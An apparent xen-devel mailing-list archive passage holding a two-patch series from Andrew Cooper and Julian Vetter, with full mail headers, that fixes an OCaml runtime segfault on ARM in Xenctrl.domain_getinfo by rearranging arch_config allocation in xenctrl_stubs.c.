	Julian Vetter <julian.vetter@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH for-4.22 0/2] tools/ocaml: Fixes to Xenctrl.domain_getinfo{,list}()
Date: Tue, 28 Jul 2026 16:48:28 +0100
Message-Id: <20260728154830.67734-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785253713-C0CDFB50-26ECCA0A/0/0
X-purgate-type: clean
X-purgate-size: 639

For 4.22(?). This fixes a segfault in the Ocaml runtime on ARM.

It's not a regression vs 4.21, but it is deterministic and easy to fix.
Technically patch 1 is sufficient to fix the segfault, but producing an
unconditional exception is almost as useless.

Andrew Cooper (1):
  tools/ocaml: Fix crash in Xenctrl.domain_getinfo{,list} on ARM

Julian Vetter (1):
  tools/ocaml: Fill arch_config for ARM in domain_getinfo{,list}()

 tools/ocaml/libs/xc/xenctrl_stubs.c | 37 +++++++++++++++++++++--------
 1 file changed, 27 insertions(+), 10 deletions(-)


base-commit: 75f920bd47a4f59eaaa4596aa3f4e12a447d26d2
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:48:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:48:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374914.1622261 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2m-0002A0-8x; Tue, 28 Jul 2026 15:48:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374914.1622261; Tue, 28 Jul 2026 15:48:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2m-00029R-48; Tue, 28 Jul 2026 15:48:36 +0000
Received: by outflank-mailman (input) for mailman id 1374914;
 Tue, 28 Jul 2026 15:48:35 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wok2l-00025b-7a
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:48:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok2k-003IVm-KU
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:48:34 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf2b-e002-0a2a0a5209dd-0a2a4507d9ae-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:34 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf52-b4ea-0a2a45070019-d1558035b1b1-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:34 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-49545ba3d4eso23147245e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:48:34 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44b6b93sm88807765e9.4.2026.07.28.08.48.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 28 Jul 2026 08:48:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785253714; x=1785858514; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xsDN+AQLbvmNAQEIOp0aFB4rB8Yl6TO3U84KiiThsS0=;
        b=Ahs2fdKDBIiVhqEyfjCQB+lFttZXWNx8y+15JuuzxUAGvEb3OqTzs/bzi1Yb2pqFJy
         0J9L5vBdCAgWiRg3RyjOwzaGhnZHKoZKEYC+e8bHNpyFhCub+eCJSRI9AT9ZllHktwt4
         k7R2I2oAERYge5jlhnCqj5jmeQhYlKvFU79vQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253714; x=1785858514;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=xsDN+AQLbvmNAQEIOp0aFB4rB8Yl6TO3U84KiiThsS0=;
        b=rC6ZAACnaWamP++2QCXV4k4pcFDIMbWydc+GEPgDHtjm8d3xnAroJWiPCj8uWbfQZ+
         gN1Jy4rQ84tPmk7wp8Q7EJusGnSTWayj/1qdsu/4Clew2uv889Q0TFYOm8fy1n0lw+WN
         qocZWtA0On/yi+K4VyKfCc0uq7iBAvaQr8R/cCpFqFjrVKd5RYCiYaBm+ZAoUDV89/69
         EizcBShpFb+r2UJD4QhruD9SX+Nc6JuJbcrgfB/6bJ6m8VEi7a7lieeFStp7rwc1Ybf/
         QixXjr+jfewzi1MaaixLUwMTuYMpKutBkcXo21lMoEv+KBQ29Abq74Dv0zKqWE/BQ6rm
         6/Lg==
X-Gm-Message-State: AOJu0Yw2dyfFGVBcRk1Lguq44y7sgNgC2SJhQsW9VHk7klSHybC2+Dw8
	x/hv5p10ExzTNKABnQoXjEEjxD5/ywnJcYw0MJ9tuB/X1SwaY/+nrqVkCDpPp5vSbR0Yoss2rQW
	h3qE8JZU=
X-Gm-Gg: AR+sD10MR4hLfN2O7oA9OB9KQrz9ZTyocUTj3/VfmR/lklpuOCJqp7Nn+Orq2JREK2g
	q4tEytwg6AKonoNeecFobCTCKCW4AIJd0uWXRjWVl4TU/2SV7x4Ganym+8QAHGDb4F7eKXU/RwQ
	O3ynbLNn8LDC+4CceH20/03LRUu07fU3uF+suqfphbNBtyaXHQRDbLMnBK5vJbHlcJDM9BO5oZs
	TXBpKziYTGHgh2jXMJv5N7uROYOQ3O8V95EOaapT5jlrErfi3VCq48pdjUflME0kb4Lcdc6o3wG
	hEaFQ4b3QFxxG7Xi+IkUHwiEW7j7ywshmq4ho/w9ZIwa/PrOrokOpwD6Ge++plh74PwHFPONZc8
	fBkSnFa3bQXXaU0+ACBEF0PS+AEhYBJ9ga8PkSwkuqsDGXP1MVyLfbTPbSZWPRAz5S0oQW+S6OI
	VRBoNilssC2A14qwugW5V8tES0MmpDQTXHviNVeLVlcrMqaYwuKvrg
X-Received: by 2002:a05:600c:46d0:b0:495:4a34:16e1 with SMTP id 5b1f17b1804b1-496c656e064mr32504195e9.23.1785253713623;
        Tue, 28 Jul 2026 08:48:33 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Julian Vetter <julian.vetter@vates.tech>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH 1/2] tools/ocaml: Fix crash in Xenctrl.domain_getinfo{,list} on ARM
Date: Tue, 28 Jul 2026 16:48:29 +0100
Message-Id: <20260728154830.67734-2-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260728154830.67734-1-andrew.cooper3@citrix.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1785253714-376D2AE4-CD27929D/10/73395122804
X-purgate-type: spam
X-purgate-size: 2904

The Store_field(result, 16, arch_config) sits inside an ifdef x86, meaning
that on other archtiectures the pointer is not filled in.  The Ocaml runtime
then falls over a NULL pointer (really the Val_unit used to initialise
'result') when the layout in the heap doesn't match the type system.

Rearrange alloc_domaininfo() to avoid this.  Similarly to
physinfo_arch_caps(), raise an exception if the architecture code hasn't
filled in an appropriate tag.  Move the setup of arch_domainconfig to be
common logic.

In order to simplify the addition of other architectures, remove the
arch_config variable (resuing tmp as it's touched exactly once), and rename
x86_arch_config to be arch_config so each architecture can fill in a suitable
one without needing more local variables.

Reported-by: Julian Vetter <julian.vetter@vates.tech>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Andrew Cooper <andrew.cooper3@citrix.com>
CC: Andrii Sultanov <andriy.sultanov@vates.tech>
CC: Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
CC: Julian Vetter <julian.vetter@vates.tech>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 tools/ocaml/libs/xc/xenctrl_stubs.c | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/tools/ocaml/libs/xc/xenctrl_stubs.c b/tools/ocaml/libs/xc/xenctrl_stubs.c
index 7f6381cdd2fe..441e1d83cfec 100644
--- a/tools/ocaml/libs/xc/xenctrl_stubs.c
+++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
@@ -414,7 +414,8 @@ CAMLprim value stub_xc_domain_shutdown(value xch_val, value domid, value reason)
 static value alloc_domaininfo(xc_domaininfo_t * info)
 {
 	CAMLparam0();
-	CAMLlocal5(result, tmp, arch_config, x86_arch_config, emul_list);
+	CAMLlocal4(result, tmp, arch_config, emul_list);
+	int tag = -1;
 	int i;
 
 	result = caml_alloc_tuple(17);
@@ -444,6 +445,9 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
 	Store_field(result, 15, tmp);
 
 #if defined(__i386__) || defined(__x86_64__)
+
+	tag = 1; /* tag x86 */
+
 	/*
 	 * emulation_flags: x86_arch_emulation_flags list;
 	 */
@@ -452,16 +456,17 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
 		(info->arch_config.emulation_flags);
 
 	/* xen_x86_arch_domainconfig */
-	x86_arch_config = caml_alloc_tuple(1);
-	Store_field(x86_arch_config, 0, emul_list);
+	arch_config = caml_alloc_tuple(1);
+	Field(arch_config, 0) = emul_list;
 
-	/* arch_config: arch_domainconfig */
-	arch_config = caml_alloc_small(1, 1);
-
-	Store_field(arch_config, 0, x86_arch_config);
-
-	Store_field(result, 16, arch_config);
 #endif
+	if (tag < 0)
+		caml_failwith("Unimplemented architecutre in alloc_domaininfo()");
+
+	/* arch_config: arch_domainconfig */
+	tmp = caml_alloc_small(1, tag);
+	Field(tmp, 0) = arch_config;
+	Field(result, 16) = tmp;
 
 	CAMLreturn(result);
 }
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:48:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:48:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374915.1622275 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2p-0002cl-Hc; Tue, 28 Jul 2026 15:48:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374915.1622275; Tue, 28 Jul 2026 15:48:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2p-0002cZ-CL; Tue, 28 Jul 2026 15:48:39 +0000
Received: by outflank-mailman (input) for mailman id 1374915;
 Tue, 28 Jul 2026 15:48:37 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wok2n-0002ZF-Hp
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:48:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok2m-00FCsc-Us
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:48:36 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf45-5cb7-0a2a0a5109dd-0a2a4504c9e6-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:36 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf54-b57f-0a2a45040019-d1558031e4a7-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:36 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-4953de5be0aso4855e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:48:36 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44b6b93sm88807765e9.4.2026.07.28.08.48.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 28 Jul 2026 08:48:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785253715; x=1785858515; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=te7fPojePD/ct/6l3gGMOIxNs8LzWVNztC4ZdtL5AmQ=;
        b=uNjREsJJgmpEith7rCy3jv18RE+10G3v4GvF7CCWhFmDrNlsMUq9ZDYRZjtql0G0R9
         HNTeXzQT4hNT8rN/1HdBU370GeUcekqA8ZOhQ0XKZIrR7+uzr/6PLrzxWj6tsXwTCERQ
         KDrg7D3OTL0R8AgHsUiohDe5VSutbUfEwECHY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253715; x=1785858515;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=te7fPojePD/ct/6l3gGMOIxNs8LzWVNztC4ZdtL5AmQ=;
        b=VqxoHjsWMGSCAzMaLtkc01S08J0zjUmydXWEFSnrQwfBX8zt4gCIqqpm7CpkAjXacL
         27S1SZSygD576Kf+YbFpbcWBgLLqOF+7jCLgMsVlONAVrIiPis4Dh1ZqnhikELC3HT70
         R+hKIp2lEaebTVtMCGHibJ8xN1g5SXu3PJZHe36ISuHbvkrZx6hZ8chSlYCW4VGS6m6q
         v54wlipgAv1MT9Bo2WjY3M9OlFNOiQe4rA4UnwmfD6QS+9+5Osls9z/ZGjiEtPsnhVHL
         wJL9GeOZbkj4cR/IMZBsQkDUeVCjijQctB8+h6w5tEgj1G5RfawV4utLAmRJTuAyF3Dx
         FCCA==
X-Gm-Message-State: AOJu0Yy0GcEDoVRikdDZUVM7zsl0/y2k8wB47FtIRH3VwgIccbjTj6XY
	HP6xU/jHUDEdKjCGLcb+/WXzkmAySEgw7QS4luDvS4n3Pt5c46Mx9/BeelAPb1lB7inI12LvvqY
	RST7x
X-Gm-Gg: AR+sD11tVqDIkwOVRS4rHtZH8yWaXmQ4e2bNpIVpg0piUpZjMQyZvOSAN0i/SOB3W3v
	LWXkKL0fQ+5a3FxdmCdZ4yvzTQkEgR+o3j80few4Y65j52tnXtqCzUZjvvJ/4SGM2oC70NrmDQo
	Pv6JYYZ3lX1TCSU66O7nVq/+yxq72hOk7pShA1yd3N+xK0/kdqard6J+VLss9/41fXPqh+UqiAb
	ntllEpLeMmzYAnSwGg12xcsTnHYMUzDVsb12XyTCUYiQ1JyChZYHv0KddvwpWYqs+n9A7akyPet
	HExtlUKAvu0PbxEj/rkQk1K+HPBrDIMDXaK3vxMnJvvBeq+yq/SLVXvRykAqz0SmJlK28YgEpAL
	jm+5Q3iZj8zh1b8Ahd8YOQRaiH10qhsSIQdhTLVBWgAeaYlME2SiRba2rcjew2R/DgUeupOnUmm
	LKZudXz6/UeBuG4UdQfeGWxoP4jAQAXrVfqkqMAvMhU+L+LwDv/z22
X-Received: by 2002:a05:600c:e549:10b0:496:c1f3:e8f9 with SMTP id 5b1f17b1804b1-496c658efe9mr22233615e9.20.1785253714322;
        Tue, 28 Jul 2026 08:48:34 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Julian Vetter <julian.vetter@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in domain_getinfo{,list}()
Date: Tue, 28 Jul 2026 16:48:30 +0100
Message-Id: <20260728154830.67734-3-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260728154830.67734-1-andrew.cooper3@citrix.com>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785253716-C3AC0B50-EC86FC9C/10/73395122804
X-purgate-type: spam
X-purgate-size: 1684

From: Julian Vetter <julian.vetter@vates.tech>

Add the missing ARM logic, populating xen_arm_arch_domainconfig
from the raw xc_domaininfo_t the same way the x86 branch does for
xen_x86_arch_domainconfig.

Signed-off-by: Julian Vetter <julian.vetter@vates.tech>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Andrew Cooper <andrew.cooper3@citrix.com>
CC: Andrii Sultanov <andriy.sultanov@vates.tech>
CC: Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
CC: Julian Vetter <julian.vetter@vates.tech>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 tools/ocaml/libs/xc/xenctrl_stubs.c | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/tools/ocaml/libs/xc/xenctrl_stubs.c b/tools/ocaml/libs/xc/xenctrl_stubs.c
index 441e1d83cfec..fb983709066f 100644
--- a/tools/ocaml/libs/xc/xenctrl_stubs.c
+++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
@@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
 
 	Store_field(result, 15, tmp);
 
-#if defined(__i386__) || defined(__x86_64__)
+#if defined(__arm__) || defined(__aarch64__)
 
-	tag = 1; /* tag x86 */
+	tag = 0; /* tag ARM */
+
+        /* xen_arm_arch_domainconfig */
+        arch_config = caml_alloc_tuple(3);
+        Field(arch_config, 0) = Val_int(info->arch_config.gic_version);
+        Field(arch_config, 1) = Val_int(info->arch_config.nr_spis);
+
+	tmp = caml_copy_int32(info->arch_config.clock_frequency);
+        Field(arch_config, 2) = tmp;
+
+#elif defined(__i386__) || defined(__x86_64__)
+
+        tag = 1; /* tag x86 */
 
 	/*
 	 * emulation_flags: x86_arch_emulation_flags list;
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:50:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:50:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374936.1622284 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok4r-0006M1-S1; Tue, 28 Jul 2026 15:50:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374936.1622284; Tue, 28 Jul 2026 15:50:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok4r-0006Lu-Nt; Tue, 28 Jul 2026 15:50:45 +0000
Received: by outflank-mailman (input) for mailman id 1374936;
 Tue, 28 Jul 2026 15:50:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wok4q-0006JS-8j
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:50:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok4p-00500f-Lm
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:50:43 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68cfcc-5cb7-0a2a0a5109dd-0a2a450c9092-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:50:43 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68cfd3-f479-0a2a450c0019-d1558031ad03-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:50:43 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso30199215e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:50:43 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957b5ed646sm295917335e9.0.2026.07.28.08.50.42
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:50:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785253842; x=1785858642; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1WOPquzJr20MXA/g1FJOlBAksb3gsBYkrjM7FqaQIX0=;
        b=CPuN/uB4oif0EZ91SRXTMTx0xCCUxTqsnzP0arzhznBVb98A+S+lWk7O2RmZlmsByk
         KK02XMZxeUWkhVJiFOOhEeh05XjbgvldKdgmc+FL4J2nA60J0CUzkoM6IsE/arYaOeqd
         POrQo4bY5hLluYYfqRKFK1OSwhk8xhrv53Cc9ltjD0H4z2cFqXY+qri1/LsR/JGniCTy
         NIP+RZqENqaz56FzVuED6QaKGZ/yZqvwsL8Nvo8ubJ26TNPe7o3AXwICBps/RVOwwIf7
         3z9dCB9jjgfrnr3yIVknSxwY1aPWYwEoKer0SURxvQaqRlSMPWcOd3BzkiTi6mRv0S0o
         GKoQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253842; x=1785858642;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=1WOPquzJr20MXA/g1FJOlBAksb3gsBYkrjM7FqaQIX0=;
        b=CIGGipjQODaxGD+f7mq9hwWFFCzAvmtn1DXwMLUg8enJjnQy3BZeFPjRg1//sRdUd+
         X7nDbEtm9M35QPk3B/Npqf7BvwAiKar+/HVLwZm3yT9jEo4FIcAZh8/HeUfBHQhyje+w
         c1aU55dXhUpxlSXEJCkYnvVw6KgADNi6KzOMPEq87VlKYDEtPaPiEXV7gnRT0xc3JeiC
         yx3jeoGWtCzGanhgl07XClWzsBaNS6+a3j5Tql9GXWEWYMz9u4y571LxzTbexF/GNdIS
         bkHSWotSjnDWrQjYcRzd8ycjppfYA5qTV1QiMMXmBZNQNZz3JvRjWX1n9sSu47Tmabs9
         obsg==
X-Forwarded-Encrypted: i=1; AHgh+RoJmoH4/aLkcAXEri3FyuJON1XN2g46ev5MIjj/PQJuFWZDHZsOtE8icChxVGbO8sb+WfLvTNPWtUg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx0GbaVsFHYOmbQSdGkyKcuzhbxOUcd37HG18cqGS+bVIA1pmY9
	ey4EpDW+j4WyuopuIEZZIlL8R2TmdRZ1wlBXtXhDdT2EMd8VVd7OVd8s
X-Gm-Gg: AR+sD11HK/PtnX/tifALgxvY+MGBQnc3ckFy1rnawj4hzGSmuwZCeE58IxiFVyXlRyb
	SLjYPSGQb4adOrf91QGHXiH+YA+MC2D6M7sqp+1ssAARXVJKC5d1swwxGuJivrwrL+fHTg1ieM8
	x0oonxesEVRG4LMsZ5fFK1VuMmGpCv7f6gBfhOgYNrrz4/5BAR6ij0yVDwv6uKqnXSR0GxfUQrf
	huYisBeTD6PR4ry14sDucUoBeZVGo2oL7QPkdkvLfdLaA/ol5srOrcrICMNkvdyFWw0aCD0acbB
	CjbPYo8d+MaUdArY6hg2xiR+xCuuObHysxrnEUvSeqNcvHVhuczc0qadzhRCEKq9U6/AMLaXUew
	SKkNkpRLYVFPYeM6R+bwlo/io8Z/zTtuXBpKOssQdVexcRBr4dU/8+VBjo9odz7WY4ryPIldRhc
	izu8Mo+j0SiGGHGiLw+DHdrlkT2LUO3BcXa2lFL1wVtqOUUPd4A/tTG102
X-Received: by 2002:a05:600c:a46:b0:495:52dc:73a9 with SMTP id 5b1f17b1804b1-496c6421d73mr33371725e9.11.1785253842649;
        Tue, 28 Jul 2026 08:50:42 -0700 (PDT)
Message-ID: <ff751975-3e64-471c-b499-fdb35c3f17c2@gmail.com>
Date: Tue, 28 Jul 2026 17:50:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 0/2] tools/ocaml: Fixes to
 Xenctrl.domain_getinfo{,list}()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Julian Vetter <julian.vetter@vates.tech>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260728154830.67734-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785253843-004CFA5B-D35CBC57/10/73395122804
X-purgate-type: spam
X-purgate-size: 417



